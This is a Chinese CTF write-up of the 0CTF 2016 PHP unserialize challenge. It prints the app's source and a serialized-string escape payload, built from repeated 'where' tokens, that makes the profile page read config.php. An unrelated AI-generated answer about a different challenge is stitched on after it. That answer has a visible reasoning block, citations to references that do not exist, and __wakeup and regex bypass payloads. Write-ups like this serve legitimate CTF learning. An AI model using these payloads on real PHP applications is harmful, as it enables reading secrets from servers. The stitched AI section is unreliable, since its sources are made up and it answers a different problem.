0ctf_2016 _Web_unserialize

本文详细解析了一个基于PHP的Web应用中反序列化漏洞的发现与利用过程,通过代码审计,构造payload读取关键配置文件,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01

拿到题目第一件事是进行目录扫描,看看都有哪些目录,结果如下:

不少,首先有源码,我们直接下载下来,因为有源码去分析比什么都没有更容易分析出漏洞所在。

通过这个知道,它一共有这么几个页面,首页登录页面,注册页面,update更改信息页面,这几个页面是我们能够直接接触到的,那想必flag应该在另外几个页面中,稍后我们分析。先来看看网站页面都是什么样子。

登录页面:

注册页面:

更改信息页面需要我们先登录,那我们就先随便注册一个,然后进去看看

到这里,基本上几个页面要进行的基本操作我们知道了,然后,我们去看看源码,源码中有哪些地方可以被利用

0x02

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Login</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">LOGIN</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

这个无非就是登录页面,输入账号和密码,如果正确,那就跳转到profile.php页面,就是显示你个人信息的页面

register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>Login</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Register</h3>
			<label>Username:</label>
			<input type="text" name="username" style="height:30px"class="span3"/>
			<label>Password:</label>
			<input type="password" name="password" style="height:30px" class="span3">

			<button type="submit" class="btn btn-primary">REGISTER</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

注册页面,没有可疑地方

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

更改信息页面,将输入的信息传入相应参数,且需要满足一定的正则过滤规则,

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

看到这里的代码的时候突然眼前一亮,反序列化,做题做多了,对这个就很敏感,而且profile页面的数据是接受来自update,即我们修改信息的那个页面,光有这个不行,真正引起我注意的这段代码

$photo = base64_encode(file_get_contents($profile['photo']));

因为flag一般在一个文件中,要想知道flag,一般需要读取,有文件读取功能的函数file_get_contents()引起了我的注意,我就想,会不会是这个地方能够读取到flag呢?到这里我们想起还有两个源码我们没有看,是class.php和config.php

class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

这段代码是核心代码,因为要从数据库查数据需要用到这段代码中的函数和规则,既然查数据要用到,那查flag肯定也要用到啊,那谁调用class呢?看代码开头,是config.php

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

到这里,思路基本已经有了,就是我们需要读取config.php来获取flag,如何读取呢?

0x03

到这里,我又想了想题目有哪些提示,对,就是标题,反序列化,那也就是说,序列化是我们一定要用到的,哪里出现了呢?在profile.php中出现了。我们通过源码看到profile通过update.php经过POST传入phone,email,nickname,photo四个参数,而其中的photo参数具有文件读取的函数功能,所以我们直接让它读取config.php文件即可获得flag

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
if(preg_match('/[^a-zA-Z0-9_]/',$_POST['nickname'])||strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

在class中设置了函数对$profile变量进行过滤,在输入nickname的时候也进行了过滤,对于第一个nickname正则,我们通过数组就可以绕过,对于第二个我们可以看到,当我们输入上述几个特定的字符串后会被替换成hacker

正常来说我们的序列化payload如下

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}


由于变量进行了替换,那么替换后长度肯定会发生改变,在nickname之后的字符长度一共是34,那么我们完全可以用34个where来让它进行正则匹配替换,然后剩下的34个字符就不会被正则匹配,即下面代码,在反序列化时就会被成功当成photo,那么我们就可以成功读取到config.php了

";}s:5:"photo";s:10:"config.php";}

经过以上分析,写出如下序列化代码:

<?php

class b
{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
	public $photo = "config.php";
}
$a=new b();
$profile = serialize($a);
echo $profile;

?>

生成payload:

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

bp抓包修改,然后发送

返回页面后点击Your Profile,然后

查看页面源代码

base64解密看一下结果,解密结果如下:

得到flag

总结

本题主要考察代码审计的能力,通过代码分析,找到可利用的点,以及绕过出题人在代码中设置的一些障碍,从而构造出payload得到flag,对于序列化和反序列化代码要敏感。

<think>好的,我现在需要帮助用户解决攻防世界中Web_php_unserializeCTF题目。首先,用户希望了解解题思路,特别是针对PHP反序列化的新手题。我应该结合用户提供的引用内容来整理答案。 首先,我需要回顾用户提供的引用。引用[4]详细分析了Demo类的结构,包括__wakeup魔术方法和如何绕过它。引用[2]提到了当__wakeup被调用时会退出,所以可能需要绕过这个方法的执行。引用[5]提到了绕过__wakeup的方法,比如修改对象属性的数量。此外,引用[1]和[3]提供了PHP反序列化的基础知识和phps文件的作用,可能对解题有帮助。 接下来,解题步骤可能需要包括以下部分: 1. **代码分析**:查看题目提供的PHP代码,找到反序列化的入口和可能的漏洞点。比如,是否存在反序列化时的__wakeup方法,或者反序列化后触发的__destruct方法。 2. **绕过__wakeup**:根据引用[2]和引用[4],如果__wakeup方法会终止程序或修改关键变量,就需要绕过它。通常可以通过修改序列化字符串中的属性数量,使其大于实际数量,从而避免__wakeup的执行。例如,将O:4改为O:+4,或者调整属性数量。 3. **处理正则过滤**:引用[4]提到代码中可能使用preg_match来检查序列化字符串,如匹配类似O:数字的情况。这时候需要绕过这种过滤,比如使用O:+4代替O:4,或者在数字前添加加号。 4. **构造Payload**:构造一个恶意序列化字符串,触发__destruct方法,从而读取flag文件。例如,将$file变量设置为fl4g.php,在对象销毁时输出其内容。 5. **Base64编码**:根据引用[4]和引用[5],可能需要将序列化后的字符串进行Base64编码,以符合题目参数的要求。 6. **利用私有变量处理**:如果涉及私有变量,需要注意序列化时的格式,比如%00类名%00变量名,但可能需要URL编码处理。 在整理步骤时,需要确保每个部分都有对应的引用支持,并正确标注引用来源。同时,用户可能需要具体的示例payload和步骤说明,例如如何修改属性数量,如何绕过正则表达式等。 此外,用户可能还需要相关的学习资源或常见技巧,比如魔术方法的作用、反序列化漏洞的原理,这些可以结合引用内容中的知识点进行补充。 最后,生成相关问题,帮助用户进一步学习,比如如何绕过正则表达式、其他魔术方法的影响,或者私有变量的处理方式等。 需要确保回答结构清晰,分步骤说明,并且引用正确。同时,检查是否有遗漏的步骤或错误,比如是否应该使用大写C还是O,或者Base64编码后的字符串是否需要特殊处理等。</think>### Web_php_unserialize 解题思路 #### 一、题目分析 1. **代码审查** 题目通常提供PHP源码(可能通过`.phps`文件显示[^3])。核心逻辑如下: - 类中包含`__wakeup()`方法,会强制重置关键变量(如将`$file`设为`index.php`[^4])。 - 反序列化入口通过`unserialize(base64_decode($_GET['var']))`接收参数[^5]。 - 存在正则过滤`preg_match('/[oc]:\d+:/i')`,阻止以`O:数字`开头的序列化字符串。 2. **漏洞定位** 目标是通过反序列化触发`__destruct()`方法,读取`fl4g.php`文件内容。需绕过以下限制: - **绕过`__wakeup()`**:修改序列化字符串中对象属性数量。 - **绕过正则过滤**:调整序列化字符串格式。 --- #### 二、解题步骤 1. **构造恶意类** 假设题目类名为`Demo`,其`$file`属性为目标文件`fl4g.php`: ```php class Demo { private $file = 'fl4g.php'; } ``` 2. **生成序列化字符串** - 序列化对象: ```php $obj = new Demo(); $serialized = serialize($obj); ``` 输出类似:`O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}`。 - **绕过`__wakeup()`**: 修改属性数量为**大于实际值**(如从`1`改为`2`): ```php $payload = str_replace(':1:', ':2:', $serialized); ``` - **绕过正则过滤**: 将`O:4`改为`O:+4`或`O:4`后添加注释符`%2b`(`+`的URL编码): ```php $payload = preg_replace('/O:\d+/', 'O:+4', $payload); ``` 3. **Base64编码** 题目要求参数`var`需Base64编码[^5]: ```php $final_payload = base64_encode($payload); ``` 4. **发送Payload** 通过URL传递参数: ``` http://题目地址?var=<?php echo $final_payload; ?> ``` --- #### 三、关键技巧 1. **魔术方法绕过** - `__wakeup()`在反序列化时自动调用,但若对象属性数被修改为超过实际值,则不会触发[^2][^4]。 - `__destruct()`在对象销毁时触发,可用于执行关键操作(如读取文件)。 2. **正则绕过** - 使用`O:+4`代替`O:4`,利用`+`符号绕过`\d+`匹配。 - 若过滤严格,可尝试Unicode编码或特殊符号注入。 --- #### 四、示例Payload 原始序列化字符串: ``` O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} ``` 修改后: ``` O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} ``` Base64编码结果: ``` TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ``` ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值